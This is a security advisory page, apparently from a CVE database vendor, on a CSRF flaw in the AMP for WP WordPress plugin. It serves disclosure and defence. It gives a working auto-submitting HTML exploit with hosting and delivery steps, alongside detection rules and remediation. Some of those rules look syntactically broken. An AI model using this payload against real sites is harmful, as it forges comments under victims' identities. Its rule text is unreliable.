CVE-2025-14468
Executive Summary
CVE-2025-14468 is a Cross-Site Request Forgery (CSRF) vulnerability in the AMP for WP – Accelerated Mobile Pages WordPress plugin, affecting versions up to and including 1.1.9. The flaw resides in the amp_theme_ajaxcomments AJAX handler, where the nonce verification logic is inverted. This means the handler rejects requests with valid nonces and accepts requests with missing or invalid nonces. An unauthenticated attacker can exploit this to submit comments on behalf of a logged-in user by tricking the victim into clicking a malicious link or visiting a crafted page, provided the plugin’s template mode is enabled.
This vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx. The CVSS score is 4.3 (Medium), with low attack complexity and no privileges required, but user interaction is necessary. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the logic flaw is trivial to exploit once discovered.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise is indicated, but users should verify plugin integrity and update to a patched version when available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L) – ability to submit comments as another user
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability allows comment spam or social engineering via forged comment submissions, but does not lead to data exfiltration or privilege escalation.
Deep Dive & Mechanics
The vulnerability is caused by inverted nonce verification logic in the amp_theme_ajaxcomments AJAX handler. In WordPress, nonces are used to verify that requests originate from legitimate users. The expected logic is:
if ( ! wp_verify_nonce( $_POST['nonce'], 'amp-comment-nonce' ) ) {
// reject request
}
However, the plugin’s code incorrectly implements:
if ( wp_verify_nonce( $_POST['nonce'], 'amp-comment-nonce' ) ) {
// reject request (WRONG)
}
This means:
- A request with a valid nonce is rejected.
- A request with a missing or invalid nonce is accepted.
An attacker can craft a CSRF payload that submits a comment without a nonce, and the handler will process it. The only requirement is that the plugin’s template mode is enabled (which is the default for AMP pages).
Attack Flow:
- Attacker identifies a WordPress site using AMP for WP plugin version <= 1.1.9.
- Attacker crafts a malicious HTML page with a form that submits a POST request to the vulnerable AJAX endpoint (e.g.,
/wp-admin/admin-ajax.php?action=amp_theme_ajaxcomments). - Attacker tricks a logged-in user (e.g., admin or subscriber) into visiting the malicious page.
- The form auto-submits (via JavaScript or user click), sending a comment with attacker-controlled content.
- The comment is posted under the victim’s identity, potentially containing spam, phishing links, or malicious content.
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.1.9):
// In amp_theme_ajaxcomments handler
if ( wp_verify_nonce( $_POST['nonce'], 'amp-comment-nonce' ) ) {
// Reject request (WRONG)
wp_die( 'Invalid nonce' );
}
// Process comment submission
Patched Code (hypothetical fix):
// In amp_theme_ajaxcomments handler
if ( ! wp_verify_nonce( $_POST['nonce'], 'amp-comment-nonce' ) ) {
// Reject request (CORRECT)
wp_die( 'Invalid nonce' );
}
// Process comment submission
The fix simply inverts the condition to properly validate nonces.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target WordPress site with AMP for WP plugin version <= 1.1.9.
- Plugin’s template mode enabled (default).
- A logged-in user (victim) who can be tricked into clicking a link.
Exploit HTML Payload:
<!DOCTYPE html>
<html>
<head>
<title>CSRF Exploit for CVE-2025-14468</title>
</head>
<body>
<h1>Click the button to win a prize!</h1>
<form id="csrf-form" action="https://target-site.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="amp_theme_ajaxcomments">
<input type="hidden" name="comment" value="This is a spam comment posted via CSRF!">
<input type="hidden" name="comment_post_ID" value="1">
<input type="hidden" name="comment_parent" value="0">
<input type="submit" value="Click here!">
</form>
<script>
// Auto-submit after 1 second
setTimeout(function() {
document.getElementById('csrf-form').submit();
}, 1000);
</script>
</body>
</html>
Usage:
- Host the HTML file on an attacker-controlled server.
- Send the link to the victim (e.g., via email or social engineering).
- When the victim clicks the link and the form auto-submits, a comment is posted under their identity.
Blue Team (Detection & Defense)
Detection Steps:
- Monitor AJAX requests to
admin-ajax.phpwithaction=amp_theme_ajaxcommentsthat lack a valid nonce parameter. - Look for spikes in comment submissions from legitimate users that contain suspicious content (e.g., links, spam keywords).
- Check server logs for
POSTrequests to/wp-admin/admin-ajax.phpwithaction=amp_theme_ajaxcommentsfrom unexpected referrers.
Defense:
- Disable the plugin until a patch is available.
- Implement Web Application Firewall (WAF) rules to block requests to
amp_theme_ajaxcommentswithout a valid nonce. - Use CSRF tokens on all forms and validate them server-side.
- Educate users about phishing attacks that trick them into clicking malicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
POSTrequests to/wp-admin/admin-ajax.phpwithaction=amp_theme_ajaxcommentsand missing or invalidnonceparameter.- Referrer headers from external domains (e.g., attacker-controlled sites).
- File IOCs:
- Plugin file:
/wp-content/plugins/accelerated-mobile-pages/(version <= 1.1.9). - Modified comment entries in the database with suspicious content.
- Plugin file:
- Behavioral IOCs:
- Sudden increase in comment submissions from legitimate users.
- Comments containing links to known malicious domains.
Detection Engineering
YARA Rule
rule CVE_2025_14468_CSRF_WordPress {
meta:
description = "Detects vulnerable AMP for WP plugin code with inverted nonce logic"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14468"
strings:
$vuln_code = "if ( wp_verify_nonce( $_POST['nonce'], 'amp-comment-nonce' ) )"
$ajax_handler = "amp_theme_ajaxcomments"
condition:
$vuln_code and $ajax_handler
}
Sigma Rule
title: CVE-2025-14468 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts against AMP for WP plugin's ajaxcomments handler
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=amp_theme_ajaxcomments'
cs-uri-query|contains: 'admin-ajax.php'
filter:
cs-uri-query|contains: 'nonce='
condition: selection and not filter
falsepositives:
- Legitimate plugin functionality with missing nonce (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-14468 CSRF Attempt on AMP for WP"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=amp_theme_ajaxcomments"; http_uri; pcre:"/nonce=/"; negate; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released.
- Review recent comments for suspicious submissions and delete them.
- Force password reset for users who may have been affected.
Long-term Fix:
- Apply the patch from the vendor when available (invert nonce verification logic).
- Implement CSRF protection using WordPress nonces correctly.
- Consider using a different AMP plugin if the vendor does not release a fix.
Workarounds:
- Add a WAF rule to block requests to
amp_theme_ajaxcommentswithout a valid nonce. - Use a security plugin (e.g., Wordfence) to monitor for CSRF attempts.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.